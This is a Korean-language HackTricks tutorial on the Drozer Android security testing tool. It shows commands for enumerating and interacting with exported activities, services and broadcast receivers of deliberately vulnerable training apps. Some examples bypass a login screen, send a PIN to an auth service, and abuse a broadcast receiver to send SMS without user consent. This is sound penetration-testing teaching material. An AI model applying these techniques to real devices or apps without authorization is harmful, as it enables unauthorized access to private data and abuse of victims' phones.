Drozer Tutorial
Reading time: 7 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
테스트할 APK
이 튜토리얼의 일부는 Drozer 문서 pdf에서 발췌되었습니다.
설치
호스트에 Drozer Client를 설치합니다. 최신 릴리스에서 다운로드하세요.
pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity
최신 릴리스에서 drozer APK를 다운로드하고 설치하세요. 현재는 이것입니다.
adb install drozer.apk
서버 시작하기
Agent는 포트 31415에서 실행되고 있으며, Drozer Client와 Agent 간의 통신을 설정하기 위해 포트 포워딩을 해야 합니다. 다음은 이를 수행하는 명령어입니다:
adb forward tcp:31415 tcp:31415
마지막으로, 애플리케이션을 실행하고 하단의 "ON" 버튼을 누릅니다.
그리고 연결합니다:
drozer console connect
흥미로운 명령어
명령어 | 설명 |
---|---|
Help MODULE | 선택한 모듈의 도움말을 표시합니다. |
list | 현재 세션에서 실행할 수 있는 모든 drozer 모듈의 목록을 표시합니다. 적절한 권한이 없는 모듈은 숨겨집니다. |
shell | 에이전트의 컨텍스트에서 장치에서 대화형 Linux 셸을 시작합니다. |
clean | Android 장치에서 drozer가 저장한 임시 파일을 제거합니다. |
load | drozer 명령이 포함된 파일을 로드하고 순차적으로 실행합니다. |
module | 인터넷에서 추가 drozer 모듈을 찾아 설치합니다. |
unset | drozer가 생성하는 모든 Linux 셸에 전달하는 이름이 있는 변수를 제거합니다. |
set | drozer가 생성하는 모든 Linux 셸에 환경 변수로 전달될 값을 변수에 저장합니다. |
shell | 에이전트의 컨텍스트에서 장치에서 대화형 Linux 셸을 시작합니다. |
run MODULE | drozer 모듈을 실행합니다. |
exploit | Drozer는 장치에서 실행할 수 있는 익스플로잇을 생성할 수 있습니다. drozer exploit list |
payload | 익스플로잇에는 페이로드가 필요합니다. drozer payload list |
패키지
이름의 일부로 필터링하여 패키지의 이름을 찾습니다:
dz> run app.package.list -f sieve
com.mwr.example.sieve
패키지의 기본 정보:
dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/data/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-2.apk
UID: 10056
GID: [1028, 1015, 3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS
매니페스트:
run app.package.manifest jakhar.aseem.diva
패키지의 공격 표면:
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
- 활동: 아마도 활동을 시작하고 이를 실행하는 것을 방지해야 하는 어떤 종류의 권한을 우회할 수 있을 것입니다.
- 콘텐츠 제공자: 아마도 개인 데이터에 접근하거나 일부 취약점(SQL Injection 또는 Path Traversal)을 악용할 수 있을 것입니다.
- 서비스:
- 디버깅 가능: 자세히 알아보기
활동
내보내기된 활동 구성 요소의 “android:exported” 값이 AndroidManifest.xml 파일에서 **“true”**로 설정되어 있습니다:
<activity android:name="com.my.app.Initial" android:exported="true">
</activity>
내보낸 활동 목록:
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList
Start activity:
아마도 활동을 시작하고 이를 시작하는 것을 방지해야 하는 어떤 종류의 권한 부여를 우회할 수 있을 것입니다.
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
adb를 사용하여 내보낸 활동을 시작할 수도 있습니다:
- PackageName은 com.example.demo입니다.
- Exported ActivityName은 com.example.test.MainActivity입니다.
adb shell am start -n com.example.demo/com.example.test.MainActivity
Content Providers
이 게시물은 여기에서 너무 커서 당신은 여기에서 별도의 페이지로 접근할 수 있습니다.
Services
내보낸 서비스는 Manifest.xml 내에 선언됩니다:
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
코드 안에서 check를 위해 handleMessage
함수가 메시지를 받는 부분을 확인하세요:
서비스 목록
dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null
서비스와 상호작용
app.service.send Send a Message to a service, and display the reply
app.service.start Start Service
app.service.stop Stop Service
예시
app.service.send
에 대한 drozer 도움말을 확인하세요:
먼저 "msg.what" 안의 데이터를 전송한 다음, "msg.arg1" 및 "msg.arg2"를 전송합니다. 어떤 정보가 사용되고 있는지 코드 안에서 확인해야 합니다.
--extra
옵션을 사용하면 "msg.replyTo"에 의해 해석되는 내용을 전송할 수 있으며, --bundle-as-obj
를 사용하면 제공된 세부정보로 객체를 생성합니다.
다음 예시에서:
what == 2354
arg1 == 9234
arg2 == 1
replyTo == object(string com.mwr.example.sieve.PIN 1337)
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj
Broadcast Receivers
Android 기본 정보 섹션에서 Broadcast Receiver가 무엇인지 확인할 수 있습니다.
이 Broadcast Receivers를 발견한 후에는 코드를 확인해야 합니다. onReceive
함수에 특별히 주의하세요. 이 함수는 수신된 메시지를 처리합니다.
모든 broadcast receivers 감지
run app.broadcast.info #Detects all
앱의 브로드캐스트 수신기 확인
#Check one negative
run app.broadcast.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
No matching receivers.
# Check one positive
run app.broadcast.info -a com.google.android.youtube
Package: com.google.android.youtube
com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver
Permission: null
com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver
Permission: com.google.android.c2dm.permission.SEND
com.google.android.apps.youtube.app.PackageReplacedReceiver
Permission: null
com.google.android.libraries.youtube.account.AccountsChangedReceiver
Permission: null
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null
방송 상호작용
app.broadcast.info Get information about broadcast receivers
app.broadcast.send Send broadcast using an intent
app.broadcast.sniff Register a broadcast receiver that can sniff particular intents
메시지 전송
이 예제에서는 FourGoats apk Content Provider를 악용하여 사용자의 허가 없이 임의의 SMS를 비프리미엄 목적지로 전송할 수 있습니다.
코드를 읽어보면, 매개변수 "phoneNumber"와 "message"가 Content Provider에 전송되어야 합니다.
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"
Is debuggeable
생산 APK는 절대 디버깅 가능해서는 안 됩니다.
이것은 자바 디버거를 실행 중인 애플리케이션에 연결하고, 런타임에서 검사하고, 중단점을 설정하고, 단계별로 진행하며, 변수 값을 수집하고 심지어 변경할 수 있음을 의미합니다. InfoSec institute has an excellent article on digging deeper when you application is debuggable and injecting runtime code.
애플리케이션이 디버깅 가능할 때, 매니페스트에 나타납니다:
<application theme="@2131296387" debuggable="true"
모든 디버깅 가능한 애플리케이션을 Drozer로 찾을 수 있습니다:
run app.package.debuggable
Tutorials
- https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref
- https://github.com/mgcfish/mobiletools/blob/master/_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md
- https://www.hackingarticles.in/android-penetration-testing-drozer/
- https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac
More info
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.